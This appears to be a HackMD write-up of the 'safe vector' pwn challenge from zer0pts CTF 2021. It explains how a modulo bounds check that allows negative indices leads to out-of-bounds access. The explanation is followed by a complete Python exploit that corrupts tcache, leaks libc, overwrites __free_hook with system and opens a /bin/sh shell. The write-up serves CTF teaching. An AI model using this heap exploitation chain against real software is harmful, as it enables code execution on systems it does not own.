Try   HackMD

safe vector - zer0pts CTF 2021

tags: zer0pts CTF 2021 pwn

Challenge Overview

We're given an x64 ELF, its source code, and the libc binary.

At first glance, the vulnerability is out-of-bound RW.

    case 3:
      {
        int i, v;
        cout << "index: ";
        cin >> i;
        cout << "value: ";
        cin >> v;
        arr[i] = v;
        break;
      }
    case 4:
      {
        int i;
        cout << "index: ";
        cin >> i;
        cout << "value: " << arr[i] << endl;
        break;
      }

However, this array is of safe_vector<uint32_t> and it's defined here:

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

The programmer intends to ban oob access by the modulo operator. However, in C++, the result of <int> % <int> may take negative values. We abuse this fact to read/write at negative index.

Solution

This challenge was written for "I <3 Heap" people. Although, I hate heap challenge and I don't want to write the detailed solution.
Basically just "try hard to corrupt tcache" and "try hard to leak libc address" and "try hard to overwrite free hook" and it's done.

Exploit

from ptrlib import * def push(v): sock.sendlineafter(">> ", "1") if v >> 31: sock.sendlineafter(": ", str(-((v ^ 0xffffffff) + 1))) else: sock.sendlineafter(": ", str(v)) def pop(): sock.sendlineafter(">> ", "2") def store(i, v): sock.sendlineafter(">> ", "3") sock.sendlineafter(": ", str(i)) if v >> 31: sock.sendlineafter(": ", str(-((v ^ 0xffffffff) + 1))) else: sock.sendlineafter(": ", str(v)) def load(i): sock.sendlineafter(">> ", "4") sock.sendlineafter(": ", str(i)) return int(sock.recvlineafter(": ")) def wipe(): sock.sendlineafter(">> ", "5") libc = ELF("../distfiles/libc.so.6") sock = Socket("localhost", 9001) """ Step 1) heap feng shui """ # prepare unsorted bin logger.info("Linking into unsorted bin") for i in range(8): push(i) store(-2, 0x91) for i in range(8, 16): push(i) store(10, 0x111) store(11, 0) addr_heap = (load(-9) << 32) + load(-10) - 0x10 logger.info("heap = " + hex(addr_heap)) for i in range(16, 32): push(i) store(-2, 0x211) for i in range(32, 64): push(i) store(10, 0x411) for i in range(64, 128): push(i) for i in range(128, 256): push(i) store(18, 0xf0a1) # top store(19, 0) for i in range(256, 512): push(i) push(0xdead) store(-2, 0x80) wipe() # corrupt link logger.info("Corrupting tcache link") for i in range(4): push(0xff0000 + i) store(-2, 0x111) for i in range(4, 8): push(0xff0000 + i) store(-2, 0x51) for i in range(8, 32): push(0xff0000 + i) for i in range(32, 58): push(0xff0000 + i) push(0x51) push(0) addr_target = addr_heap + 0x120f0 push(addr_target & 0xffffffff) push(addr_target >> 32) store(6, 0x21) store(7, 0) store(8, 0) store(9, 0) wipe() """ Step 2) Libc leak """ # consume logger.info("Consuming chunk for 0x50") for i in range(16): push(i) store(-2, 0x31) push(0xcafe) wipe() for i in range(16): push(i) # leak libc_base = (load(-5) << 32) + load(-6) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) """ Step 3) Poison tcache """ addr_victim = libc_base + libc.symbol("__free_hook") store(-2, 0x81) for i in range(16, 33): push(i) store(6, 0x21) store(7, 0) store(8, addr_victim & 0xffffffff) store(9, addr_victim >> 32) wipe() """ Step 4) Win! """ addr_target = libc_base + libc.symbol("system") push(addr_target & 0xffffffff) push(addr_target >> 32) push(0xdead) push(0xbeef) store(0, u32("/bin")) store(1, u32("/sh\0")) push(0xcafe) sock.interactive()